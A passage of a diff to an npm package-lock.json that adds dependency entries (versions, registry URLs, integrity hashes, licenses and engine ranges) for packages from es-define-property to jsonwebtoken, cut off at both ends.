"https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/esbuild": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", + "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.25.12", + "@esbuild/android-arm": "0.25.12", + "@esbuild/android-arm64": "0.25.12", + "@esbuild/android-x64": "0.25.12", + "@esbuild/darwin-arm64": "0.25.12", + "@esbuild/darwin-x64": "0.25.12", + "@esbuild/freebsd-arm64": "0.25.12", + "@esbuild/freebsd-x64": "0.25.12", + "@esbuild/linux-arm": "0.25.12", + "@esbuild/linux-arm64": "0.25.12", + "@esbuild/linux-ia32": "0.25.12", + "@esbuild/linux-loong64": "0.25.12", + "@esbuild/linux-mips64el": "0.25.12", + "@esbuild/linux-ppc64": "0.25.12", + "@esbuild/linux-riscv64": "0.25.12", + "@esbuild/linux-s390x": "0.25.12", + "@esbuild/linux-x64": "0.25.12", + "@esbuild/netbsd-arm64": "0.25.12", + "@esbuild/netbsd-x64": "0.25.12", + "@esbuild/openbsd-arm64": "0.25.12", + "@esbuild/openbsd-x64": "0.25.12", + "@esbuild/openharmony-arm64": "0.25.12", + "@esbuild/sunos-x64": "0.25.12", + "@esbuild/win32-arm64": "0.25.12", + "@esbuild/win32-ia32": "0.25.12", + "@esbuild/win32-x64": "0.25.12" + } + }, + "node_modules/expand-template": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz", + "integrity": "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==", + "dev": true, + "license": "(MIT OR WTFPL)", + "optional": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-glob": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.8" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.0.tgz", + "integrity": "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/fastq": { + "version": "1.20.1", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz", + "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", + "dev": true, + "license": "ISC", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fd-slicer": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", + "integrity": "sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==", + "dev": true, + "license": "MIT", + "dependencies": { + "pend": "~1.2.0" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "license": "MIT", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/foreground-child": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", + "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", + "dev": true, + "license": "ISC", + "dependencies": { + "cross-spawn": "^7.0.6", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/form-data": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", + "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", + "dev": true, + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/fs-extra": { + "version": "11.3.3", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.3.3.tgz", + "integrity": "sha512-VWSRii4t0AFm6ixFFmLLx1t7wS1gh+ckoa84aOeapGum0h+EZd1EhEumSB+ZdDLnEPuucsVB9oB7cxJHap6Afg==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=14.14" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/github-from-package": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz", + "integrity": "sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/glob": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-11.1.0.tgz", + "integrity": "sha512-vuNwKSaKiqm7g0THUBu2x7ckSs3XJLXE+2ssL7/MfTGPLLcrJQ/4Uq1CjPTtO5cCIiRxqvN6Twy1qOwhL0Xjcw==", + "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "foreground-child": "^3.3.1", + "jackspeak": "^4.1.1", + "minimatch": "^10.1.1", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^2.0.0" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "engines": { + "node": "20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/glob/node_modules/balanced-match": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", + "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "18 || 20 || >=22" + } + }, + "node_modules/glob/node_modules/brace-expansion": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.3.tgz", + "integrity": "sha512-fy6KJm2RawA5RcHkLa1z/ScpBeA762UF9KmZQxwIbDtRJrgLzM10depAiEQ+CXYcoiqW1/m96OAAoke2nE9EeA==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^4.0.2" + }, + "engines": { + "node": "18 || 20 || >=22" + } + }, + "node_modules/glob/node_modules/minimatch": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.2.tgz", + "integrity": "sha512-+G4CpNBxa5MprY+04MbgOw1v7So6n5JY166pFi9KfYwT78fxScCeSNQSNzp6dpPSW2rONOps6Ocam1wFhCgoVw==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "brace-expansion": "^5.0.2" + }, + "engines": { + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/globby": { + "version": "14.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-14.1.0.tgz", + "integrity": "sha512-0Ia46fDOaT7k4og1PDW4YbodWWr3scS2vAr2lTbsplOt2WkKp0vQbkI9wKis/T5LV/dqPjO3bpS/z6GTJB82LA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@sindresorhus/merge-streams": "^2.1.0", + "fast-glob": "^3.3.3", + "ignore": "^7.0.3", + "path-type": "^6.0.0", + "slash": "^5.1.0", + "unicorn-magic": "^0.3.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/hosted-git-info": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz", + "integrity": "sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==", + "dev": true, + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/htmlparser2": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-10.1.0.tgz", + "integrity": "sha512-VTZkM9GWRAtEpveh7MSF6SjjrpNVNNVJfFup7xTY3UpFtm67foy9HDVXneLtFVt4pMz5kZtgNcvCniNFb1hlEQ==", + "dev": true, + "funding": [ + "https://github.com/fb55/htmlparser2?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "license": "MIT", + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3", + "domutils": "^3.2.2", + "entities": "^7.0.1" + } + }, + "node_modules/htmlparser2/node_modules/entities": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/entities/-/entities-7.0.1.tgz", + "integrity": "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/http-proxy-agent": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", + "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", + "dev": true, + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/https-proxy-agent": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", + "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.2", + "debug": "4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dev": true, + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "BSD-3-Clause", + "optional": true + }, + "node_modules/ignore": { + "version": "7.0.5", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.5.tgz", + "integrity": "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/index-to-position": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/index-to-position/-/index-to-position-1.2.0.tgz", + "integrity": "sha512-Yg7+ztRkqslMAS2iFaU+Oa4KTSidr63OsFGlOrJoW981kIYO3CGCS3wA95P1mUi/IVSJkn0D479KTJpVpvFNuw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true, + "license": "ISC", + "optional": true + }, + "node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "dev": true, + "license": "ISC", + "optional": true + }, + "node_modules/is-docker": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-3.0.0.tgz", + "integrity": "sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ==", + "dev": true, + "license": "MIT", + "bin": { + "is-docker": "cli.js" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-inside-container": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-inside-container/-/is-inside-container-1.0.0.tgz", + "integrity": "sha512-KIYLCCJghfHZxqjYBE7rEy0OBuTd5xCHS7tHVgvCLkx7StIoaxwNW3hCALgEUjFfeRk+MG/Qxmp/vtETEF3tRA==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-docker": "^3.0.0" + }, + "bin": { + "is-inside-container": "cli.js" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-wsl": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-3.1.1.tgz", + "integrity": "sha512-e6rvdUCiQCAuumZslxRJWR/Doq4VpPR82kqclvcS0efgt430SlGIk05vdCN58+VrzgtIcfNODjozVielycD4Sw==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-inside-container": "^1.0.0" + }, + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true, + "license": "ISC" + }, + "node_modules/istextorbinary": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/istextorbinary/-/istextorbinary-9.5.0.tgz", + "integrity": "sha512-5mbUj3SiZXCuRf9fT3ibzbSSEWiy63gFfksmGfdOzujPjW3k+z8WvIBxcJHBoQNlaZaiyB25deviif2+osLmLw==", + "dev": true, + "license": "Artistic-2.0", + "dependencies": { + "binaryextensions": "^6.11.0", + "editions": "^6.21.0", + "textextensions": "^6.11.0" + }, + "engines": { + "node": ">=4" + }, + "funding": { + "url": "https://bevry.me/fund" + } + }, + "node_modules/jackspeak": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-4.2.3.tgz", + "integrity": "sha512-ykkVRwrYvFm1nb2AJfKKYPr0emF6IiXDYUaFx4Zn9ZuIH7MrzEZ3sD5RlqGXNRpHtvUHJyOnCEFxOlNDtGo7wg==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "@isaacs/cliui": "^9.0.0" + }, + "engines": { + "node": "20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/js-yaml": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", + "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==", + "dev": true, + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true, + "license": "MIT" + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "license": "MIT", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonc-parser": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/jsonc-parser/-/jsonc-parser-3.3.1.tgz", + "integrity": "sha512-HUgH65KyejrUFPvHFPbqOY0rsFip3Bo5wb4ngvdi1EpCYWUQDC5V+Y7mZws+DLkr4M//zQJoanu1SP+87Dv1oQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/jsonfile": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jsonwebtoken": { + "version": "9.0.3", + "resolved": "https://registry.npmjs.org/jsonwebtoken/-/jsonwebtoken-9.0.3.tgz", + "integrity": "sha512-MT/xP0CrubFRNLNKvxJ2BYfy53Zkm++5bX9dtuPbqAeQpTVe0MQTFhao8+Cp//EmJp244xt6Drw/GVEGCUj40g==", + "dev": true, + "license": "MIT", + "dependencies": { + "jws": "^4.0.1", + "lodash.includes": "^4.3.0", + "lodash.isboolean": "^3.0.3", + "lodash.isinteger": "^4.0.4", + "lodash.isnumber": "^3.0.3", + "lodash.isplainobject": "^4.0.6", + "lodash.isstring": "^4.0.1", + 